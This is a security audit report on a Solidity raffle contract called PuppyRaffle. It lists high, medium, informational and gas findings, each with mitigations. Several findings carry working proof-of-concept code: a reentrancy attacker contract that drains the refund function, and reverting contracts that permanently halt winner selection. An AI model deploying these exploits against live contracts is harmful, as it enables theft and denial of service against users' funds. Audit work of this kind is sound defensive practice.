Protocol Audit Report

Version 1.0

Cyfrin.io

September 18, 2025

Protocol Audit Report

Cyfrin.io

September 18, 2025

Prepared by: YoYiL Lead Auditors: - YoYiL

Table of Contents

- Medium
  * [M-1] Looping through `players` to check for duplicates in `PuppyRaffle::enterRaffle` enables a Denial of Service (DoS) pattern by escalating gas for later entrants
  * [M-2] Balance equality check in `PuppyRaffle::withdrawFees` can be griefed via forced ETH (selfdestruct), preventing withdrawals
  * [M-3] Truncation risk: unsafe `uint256` → `uint64` cast of fee in `PuppyRaffle::selectWinner` causes fee loss
  * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Informational/Non-Crits
  * [I-1] `getActivePlayerIndex` Function Returns Ambiguous Value, Causing Confusion for Player at Index 0
  * [I-2] Floating Solidity pragmas
  * [I-3] Using an Outdated Version of Solidity is Not Recommended
  * [I-4] Missing checks for `address(0)` when assigning values to address state variables
  * [I-5] Magic Numbers
  * [I-6] Test Coverage
  * [I-7] _isActivePlayer is never used and should be removed
  * [I-8] Zero address may be erroneously considered an active player
  * [I-9] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  * [I-10] State Changes are Missing Events
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable
  * [G-2] Storage Variables in a Loop Should be Cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YoYiL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	0
Info	10
Gas	2
Total	20

Findings

High

[H-1] Reentrancy Attack in PuppyRaffle::`refund` Function Allows Draining of Contract Funds

Description

The `refund` function in the PuppyRaffle contract is vulnerable to reentrancy attacks due to the violation of the Checks-Effects-Interactions (CEI) pattern. The function sends ETH to the caller before updating the contract state (removing the player from the array), allowing malicious contracts to re-enter the function and drain the contract's funds.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    // @audit Reentrancy vulnerability: External call before state change
    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefund(playerAddress);
}
```

The vulnerability occurs because: 1. The function validates the caller 2. **Sends ETH to the caller (external call)** 3. **Then updates state by setting `players[playerIndex] = address(0)`**

This ordering allows a malicious contract to receive the ETH, re-enter the `refund` function before the state is updated, and repeat the process multiple times.

Impact

- **Complete drainage of contract funds**: An attacker can steal all ETH held by the PuppyRaffle contract
- **Loss of funds for legitimate participants**: Other players lose their entrance fees
- **Broken raffle mechanism**: The contract becomes insolvent and cannot pay out prizes
- **High severity financial impact**: All funds in the contract are at risk

Proof of Concepts

The attack works by exploiting the reentrancy vulnerability in the following sequence:

1. **Setup Phase**: The attacker deploys a malicious contract that implements a `receive()` function to handle incoming ETH
2. **Entry Phase**: The attacker enters the raffle by calling `enterRaffle` with their contract address
3. **Attack Initiation**: The attacker calls `refund` to start the attack
4. **Reentrancy Loop**: When the `refund` function sends ETH to the attacker's contract, the `receive()` function is triggered, which immediately calls `refund` again before the original call completes
5. **State Exploitation**: Since `players[playerIndex]` hasn't been set to `address(0)` yet, the require checks pass, and the attacker receives another refund
6. **Repeated Drainage**: This process continues until the contract's balance is insufficient for another refund

The test demonstrates that with only a 1 ETH entrance fee investment, the attacker can drain the entire contract balance, stealing funds from all other participants.

Click to view attack contract and test code

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}

function test_reentrancyRefund() public {
    // Users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // Create attack contract and user
    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    // Noting starting balances
    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // Attack
    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    // Impact - Contract funds drained
    console.log("Starting attacker balance: ",
        startingAttackContractBalance);
    console.log("Starting PuppyRaffle balance: ",
        startingPuppyRaffleBalance);
    console.log("Ending attacker balance: ", address(attackerContract).
        balance);
    console.log("Ending PuppyRaffle balance: ", address(puppyRaffle).
        balance);

    // Attacker steals more than they put in
    assert(address(attackerContract).balance >
        startingAttackContractBalance + entranceFee);
    // Contract is drained
    assert(address(puppyRaffle).balance < startingPuppyRaffleBalance);
}
```

Recommended Mitigation

Implement the Checks-Effects-Interactions (CEI) pattern by updating the contract state before making external calls:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

+   // Effects: Update state before external call
+   players[playerIndex] = address(0);
+   emit RaffleRefund(playerAddress);

    // Interactions: External call after state update
    payable(msg.sender).sendValue(entranceFee);
-
-   players[playerIndex] = address(0);
-   emit RaffleRefund(playerAddress);
}
```

Alternative solutions: 1. **Use OpenZeppelin's ReentrancyGuard**: Add the `nonReentrant` modifier to the function 2. **Add reentrancy protection**: Implement a simple reentrancy lock using a state variable

[H-2] Predictable randomness in `PuppyRaffle::selectWinner` lets any user steer the winner

Description:
The function constructs its "random" value by hashing `msg.sender`, `block.timestamp`, and `block.difficulty`. This combination is easily forecast and therefore not genuinely random. Adversaries can either anticipate or influence these components to deterministically decide the raffle outcome.

Impact:
A malicious participant can force selection of a specific winner index, capture the prize funds, and always obtain the "rarest" puppy. This effectively collapses the rarity model, since controlled selection makes every puppy equally attainable to the attacker.

Proof of Concept:

Several avenues exist:

1. Block producers / validators can foresee (and partially influence) `block.timestamp` and the value formerly exposed as `block.difficulty` (now `prevrandao`), allowing them to plan when and how to participate. See the Solidity blog on prevrandao.

2. Attackers can manipulate the `msg.sender` component (e.g., by deploying contracts with chosen addresses) so that their resulting index becomes the winner.

Relying solely on on-chain environmental variables as a randomness seed is a well-documented weakness in the blockchain ecosystem.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer Overflow in `PuppyRaffle::totalFees` Results in Permanent Fee Loss

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through `players` to check for duplicates in `PuppyRaffle::enterRaffle` enables a Denial of Service (DoS) pattern by escalating gas for later entrants

Description

The `enterRaffle` function uses a nested loop to detect duplicate participant addresses. As the `players` array grows, each new call scales roughly with O(n^2) comparisons (cumulative effect), making later participation disproportionately expensive. This creates unfair cost dynamics and can be exploited to deter additional entrants.

```
// @audit DoS pattern (quadratic duplicate scan)
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            Player");
    }
}
```

Impact

- Gas costs for late entrants become significantly higher, discouraging normal user participation.
- Creates a rush incentive for early entry.
- An attacker (or coordinated users) can bloat the array early to make further entries uneconomic, effectively griefing or monopolizing the raffle.

Proof of Concept (Gas Comparison)

Two batches of 100 players produce approximate gas usage:
- First 100 players: ~6,252,048 gas
- Second 100 players: ~18,068,138 gas

The second batch costs over 3× the first due to quadratic growth.

Proof of Code (click to expand)

```
function testDenialOfService() public {
    // Foundry lets us set a gas price
    vm.txGasPrice(1);

    // First 100 addresses
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < players.length; i++) {
        players[i] = address(i);
    }

    // Gas for first 100
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the first 100 players: ", gasUsedFirst);

    // Second 100 addresses
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersTwo.length; i++) {
        playersTwo[i] = address(i + playersNum);
    }

    // Gas for second 100
    uint256 gasStartTwo = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
    uint256 gasEndTwo = gasleft();
    uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
    console.log("Gas cost of the second 100 players: ", gasUsedSecond);

    assert(gasUsedSecond > gasUsedFirst);
}
```

Recommended Mitigation (diff)

Replace the quadratic duplicate scan with a constant-time membership check using a mapping keyed by address and scoped by a per-raffle `raffleId`. Verify new entries before mutating state to avoid always reverting. Also, clear (or logically invalidate) participation when starting the next raffle by incrementing `raffleId`.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;



    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
```

```
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

[M-2] Balance equality check in `PuppyRaffle::withdrawFees` can be griefed via forced ETH (selfdestruct), preventing withdrawals

Description:
The `withdrawFees` function enforces that `address(this).balance == totalFees`. Although the contract lacks a payable `fallback` or `receive` function, an attacker can forcibly send ETH using `selfdestruct`, inflating the contract balance beyond `totalFees` and causing the require statement to revert perpetually.

```
     function withdrawFees() external {
@>       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
         uint256 feesToWithdraw = totalFees;
         totalFees = 0;
         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
         require(success, "PuppyRaffle: Failed to withdraw fees");
     }
```

Impact:
An attacker can deny the `feeAddress` from ever retrieving accumulated fees. They can monitor the mempool for a withdrawal attempt and front-run it by forcing in minimal ETH (e.g., 1 wei) via `selfdestruct`, breaking the equality check and blocking execution.

Proof of Concept:
1. Contract holds 800 wei; `totalFees` is 800.

2. Attacker executes a `selfdestruct` sending 1 wei to the raffle.
3. Now `address(this).balance` is 801 while `totalFees` remains 800, so `withdrawFees` reverts indefinitely until logic changes (no in-contract mechanism to realign the numbers).

Recommended Mitigation:
Eliminate the fragile balance equality constraint.

```diff
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Truncation risk: unsafe `uint256` → `uint64` cast of fee in `PuppyRaffle::selectWinner` causes fee loss

Description:
Inside `selectWinner`, the computed `fee` (a `uint256`) is added to `totalFees` after an explicit cast to `uint64`. If `fee` (or cumulative totals) exceed `type(uint64).max`, truncation silently occurs:

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

`uint64` maxes out at `18,446,744,073,709,551,615` (18.4 ETH). Any value beyond that boundary is truncated modulo 2ˆ64, potentially wrapping to a much smaller number (even zero).

Impact:

Fees above the `uint64` limit are incorrectly recorded, leading to under-accounted fees and trapping real ETH inside the contract (since `totalFees` no longer reflects actual claimable amounts).

Proof of Concept:
1. Raffle accumulates slightly more than `type(uint64).max` in total fee units (or a single fee pushes it over).
2. Casting `uint256 fee` to `uint64` reduces it (wraps).
3. `totalFees` stores a truncated value, diverging from the intended accounting.

Foundry chisel reproduction:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation:
Maintain `totalFees` as `uint256` and remove the narrowing cast. Although a comment claims storage packing for gas optimization:

```
// We do some storage packing to save gas
```

The gas tradeoff is not worth silent truncation risk.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
    }
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Informational/Non-Crits

[I-1] `getActivePlayerIndex` Function Returns Ambiguous Value, Causing Confusion for Player at Index 0

Description

The `getActivePlayerIndex` function returns 0 when a player is not found, which creates ambiguity since array indices start at 0. When a player located at index 0 calls this function, it's impossible to distinguish whether the returned 0 means "player is at index 0" or "player is not in the raffle".

```
/// @notice a way to get the index in the array
/// @param player the address of a player in the raffle
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
     return 0;
}
```

While the `refund` function has proper validation mechanisms to prevent invalid refunds, the ambiguous return value from `getActivePlayerIndex` still causes confusion for user experience and system integration.

Impact

- Players at index 0 may incorrectly believe they are not in the raffle
- Frontend applications cannot accurately determine player participation status
- Negative impact on user experience, potentially causing user confusion
- Potential logic errors during system integration

Proof of Concepts

```
// Assume player A is the first player to enter the raffle, located at players[0]
address playerA = 0x123...;
players[0] = playerA;

// When player A calls getActivePlayerIndex
uint256 index = getActivePlayerIndex(playerA); // Returns 0

// When a non-existent player calls
address nonExistentPlayer = 0x456...;
uint256 nonExistentIndex = getActivePlayerIndex(nonExistentPlayer); // Also returns 0

// Cannot distinguish between these two cases:
// 1. playerA is at index 0
// 2. nonExistentPlayer is not in the raffle
```

Recommended mitigation

Modify the `getActivePlayerIndex` function's return logic to use a clearer way to distinguish between "player found" and "player not found" scenarios:

```
/// @notice Get the index of a player in the array
/// @param player The address of a player in the raffle
/// @return found Whether the player was found
/// @return index The player's index in the array (only valid when found is true)
function getActivePlayerIndex(address player) external view returns (bool found, uint256 index) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return (true, i);
        }
    }
    return (false, 0);
}
```

Or use a revert approach:

```
/// @notice Get the index of a player in the array
/// @param player The address of a player in the raffle
/// @return The player's index in the array
function getActivePlayerIndex(address player) external view returns (
    uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    revert("PuppyRaffle: Player not found in active raffle");
}
```

[I-2] Floating Solidity pragmas

Description:
The contracts currently declare a caret (ˆ) pragma, permitting compilation with any compatible future 0.7.x compiler. This introduces risk: deployment or testing under a different minor/patch compiler than originally validated may surface subtle behavior changes, optimizer differences, or newly introduced compiler bugs. Such drift can produce unintended side effects.

Reference: https://swcregistry.io/docs/SWC-103/

Recommended Mitigation:
Pin the Solidity compiler to an exact version to guarantee deterministic builds.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-3] Using an Outdated Version of Solidity is Not Recommended

[I-4] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
        feeAddress = newFeeAddress;
```

[I-5] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                               | % Lines        | % Statements
   | % Branches      | % Funcs        |
| ---------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)    |
| src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)   |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                              | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-7] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

[I-9] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

Description:

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

Recommended Mitigation:

~~~
```diff
~~~

- (bool success,) = winner.call{value: prizePool}("");

- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); "'

[I-10] State Changes are Missing Events

Description: A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

Recommended Mitigation: It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
       require(players[i] != players[j], "PuppyRaffle: Duplicate player"
           );
}
}
```